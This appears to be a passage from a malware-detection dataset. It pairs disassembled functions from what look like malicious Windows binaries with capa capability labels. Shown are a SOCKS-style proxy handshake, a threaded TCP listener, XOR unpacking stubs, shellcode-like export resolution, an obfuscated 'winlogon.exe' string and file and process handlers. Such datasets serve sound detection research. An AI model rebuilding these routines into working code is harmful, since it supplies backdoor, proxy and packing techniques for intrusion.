joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100122c0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x100122f0
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x1001230a
cmp al, 2
je 0x1001230a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x10018298
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1001234d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x100124a3
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x5000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10012497
test eax, eax
je 0x10012497
cmp byte [ebp], 1
je 0x100123ad
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x100123d6
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x100123d6
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10012405
cmp ecx, 0x100
jg 0x10012405
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x10018298
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10012432
test cl, cl
je 0x1001242e
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10012432
add eax, 2
add esi, 2
test cl, cl
jne 0x1001240e
xor eax, eax
jmp 0x10012437
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10012479
lea esi, [esp + 0x110]
mov eax, 0x10018398
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1001246b
test cl, cl
je 0x10012467
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1001246b
add eax, 2
add esi, 2
test cl, cl
jne 0x10012447
xor eax, eax
jmp 0x10012470
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10012479
mov byte [ebp + 1], al
jmp 0x1001247d
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100124a3
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x100124c0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x1001a278
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x10012574
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x1001257c
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x1001256a
test edx, edx
jle 0x10012534
mov edi, 0x100181ac
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x10012506
add dword [esp + 0x10], 4
jmp 0x100124ea
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x10012590
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100125a0
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x100127a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x100127f7
call fcn.10012590
add esp, 4
test eax, eax
je 0x10012852
push esi
call fcn.10012590
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10012852
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1001285a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x10012870
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.100122c0
add esp, 0xc
test eax, eax
je 0x10012917
cmp eax, 4
jne 0x100128b8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.100125b0
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10012917
test eax, eax
je 0x10012917
cmp byte [esi], 5
jne 0x10012917
mov cl, byte [esi + 3]
cmp cl, 1
je 0x100128e4
cmp cl, 3
jne 0x10012917
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.100125b0
add esp, 0x14
test eax, eax
je 0x10012917
mov al, byte [esi + 1]
cmp al, 1
je 0x1001290e
cmp al, 3
jne 0x10012917
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10012920
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1001296e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1001298b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.100124c0
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x10012ce0
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10012dcf
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10012dcf
mov dx, word [0x1001a280]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10012dcf
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10012d7c
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, dword [sym.imp.MSVCRT.dll_malloc]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call ebp
add esp, 4
test eax, eax
je 0x10012d88
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x100129e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x10012dc6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10012d88
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10012d88
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x10012f80
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x10012fbb
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10012fc2
sub esi, eax
add edi, eax
test esi, esi
jg 0x10012f96
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret

Function at 0x10013750
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x10014544
test eax, eax
jbe 0x10013794
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x10013774
pop esi
pop ebp
mov ecx, ebx
call fcn.10006c10
pop edi
pop ebx
ret
Function at 0x10013a40
Capabilities:
Delete file
Get common file path
Move file
Query environment variable

Disassembly:
sub esp, 0x32c
mov eax, dword [0x1001a4bc]
push esi
push edi
push str.PPPPPP
mov edi, ecx
push eax
call fcn.10004e40
add esp, 8
mov esi, eax
lea ecx, [esp + 0x230]
add esi, 6
push 0x104
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push esi
call main
add esp, 4
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x22]
mov edx, dword [esp + 0x20]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x22]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x22]
push edx
mov edx, dword [esp + 0x24]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [esp + 0x40]
push str._d_d_d_d_d_d.bak
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea ecx, [esp + 0x28]
lea edx, [esp + 0x230]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [esp + 0x2c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [esp + 0x12c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x12c]
push str._flyboy.log
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov al, 0x6f
mov cl, 0x6e
mov byte [esp + 0xc], al
mov byte [esp + 0xe], al
mov al, 0x65
mov byte [esp + 8], 0x77
mov byte [esp + 9], 0x69
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], 0x6c
mov byte [esp + 0xd], 0x67
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x78
mov byte [esp + 0x13], al
mov byte [esp + 0x14], 0
cmp dword [edi + 0x9e54], 0x120
je 0x10013b93
lea ecx, [edi + 0x10]
lea edx, [esp + 8]
push ecx
push edx
call fcn.10005f80
add esp, 8
jmp 0x10013b9f
lea eax, [edi + 0x10]
push eax
call fcn.10004cb0
add esp, 4
add edi, 0x110
push edi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
add esp, 0x32c
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x339c299d
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x28e80b99
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x407c5d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea esi, [ebx]
lea edi, [ebx]
add edi, dword [edx + 0x1c]
add esi, dword [edx + 0x24]
lea esi, [esi + ecx*2]
jmp 0x407bd2
je 0x407b91
push 0
pop eax
imul eax, eax, 0xf
jmp 0x407b69
xor eax, 0x1d0e5297
sbb eax, dword [esp + 4]
jne 0x407c1e
jmp 0x407b0b
push eax
movzx eax, byte [edi]
lea edi, [edi + 1]
jmp 0x407d7e
ret
push ebx
movzx eax, word [esi]
pop esi
add esi, dword [edi + eax*4]
ret 4
add esi, dword [edx + 0x20]
pop ecx
lodsd eax, dword [esi]
jmp 0x407d04
mov eax, ebx
add eax, dword [ebx + 0x3c]
add edx, dword [eax + 0x78]
push 0xffffffffffffffff
jmp 0x407c1a
mov edx, ebx
mov esi, ebx
jmp 0x407c30
inc ecx
cmp ecx, dword [edx + 0x18]
lea edi, [eax + ebx]
jmp 0x407b1d
sub dword [esp], eax
pop eax
cmp byte [edi], 1
ja 0x407b26
jmp 0x407b55

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x403730
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
push 0x40
push eax
push 0x424dfc
call fcn.00403a70
push 0x40
push 0x40f700
push 0x424dfc
push 0x424dfc
call fcn.00403990
mov al, byte [esp + 0x3c]
add esp, 0x1c
test al, al
jne 0x4037bb
mov ebx, dword [esp + 0x1c]
mov ebp, 0x10
mov eax, dword [0x4146a0]
mov ecx, 8
mov esi, eax
mov edi, 0x424ddc
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.004038d0
mov ecx, dword [0x41469c]
mov edx, dword [0x4146a0]
push 0x20
push ecx
push edx
call fcn.004039e0
mov edi, dword [0x41469c]
add esp, 0x14
mov ecx, 8
mov esi, 0x424ddc
add ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x40376f
jmp 0x403814
mov eax, dword [esp + 0x1c]
mov ebp, 0x10
lea ebx, [eax + 0x2d0]
mov eax, dword [0x41469c]
mov ecx, 8
mov esi, eax
mov edi, 0x424ddc
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.004038d0
mov ecx, dword [0x4146a0]
mov edx, dword [0x41469c]
push 0x20
push ecx
push edx
call fcn.004039e0
mov edi, dword [0x4146a0]
add esp, 0x14
mov ecx, 8
mov esi, 0x424ddc
sub ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x4037ca
push 0x40
push 0x40f740
push 0x424dfc
push 0x424dfc
call fcn.00403990
mov eax, dword [esp + 0x24]
push 0x40
push 0x424dfc
push eax
call fcn.00403ab0
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x403850
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0x40
push eax
push 0x424d9c
call fcn.00403a70
push 0x38
push str.91__
push 0x424d9c
push 0x424d9c
call fcn.00403990
mov edi, dword [esp + 0x28]
add esp, 0x1c
xor esi, esi
movsx ecx, byte [esi + 0x40f838]
mov edx, dword [0x4146a4]
push ecx
push 0x1c
push edx
call fcn.00403a10
movsx eax, byte [esi + 0x40f838]
mov ecx, dword [0x4146a8]
push eax
push 0x1c
push ecx
call fcn.00403a10
push 0x30
push 0x40f808
push 0x424d9c
push edi
call fcn.00403990
add esp, 0x28
inc esi
add edi, 0x30
cmp esi, 0x10
jl 0x403882
pop edi
pop esi
ret

Function at 0x4038d0
Capabilities:
Encrypt data using des

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x30
push 0x40f780
push esi
push 0x424d6c
call fcn.00403990
mov eax, dword [esp + 0x1c]
push 0x30
push eax
push 0x424d6c
call fcn.004039e0
push 0x424d6c
push esi
call fcn.00403920
push 0x20
push 0x40f7b0
push esi
push esi
call fcn.00403990
add esp, 0x34
pop esi
ret

Function at 0x4039e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x403a02
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x4039f4
pop ebx
pop esi
ret
Function at 0x403fe0
Capabilities:
Delete file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 4]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, eax
mov eax, dword [esp + 0xdc]
neg ecx
sbb ecx, ecx
pop edi
inc ecx
mov dword [eax + 4], 0
mov dword [eax], ecx
pop esi
add esp, 0xcc
ret

Function at 0x404030
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x120
mov ecx, 0x33
push esi
mov esi, dword [esp + 0x128]
push edi
lea edi, [esp + 0x5c]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x5c]
xor esi, esi
cmp eax, esi
jge 0x4040cb
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push esi
push esi
push esi
push esi
push esi
lea edx, [esp + 0x7c]
push esi
push edx
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], si
mov word [esp + 0x72], si
mov dword [esp + 0x74], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404131
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 8]
push ecx
call edi
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax], esi
mov dword [eax + 4], esi
pop esi
add esp, 0x120
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push edx
push eax
push esi
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x7c]
push esi
push ecx
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404131
mov edx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esp + 8]
push eax
call edi
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax], esi
mov dword [eax + 4], esi
pop esi
add esp, 0x120
ret
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax + 4], esi
mov dword [eax], 1
pop esi
add esp, 0x120
ret

Function at 0x404150
Capabilities:
Copy file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 0x68]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push 1
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, eax
mov eax, dword [esp + 0xdc]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0xcc
ret

Function at 0x4041a0
Capabilities:
Move file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 0x68]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edx, eax
mov eax, dword [esp + 0xdc]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0xcc
ret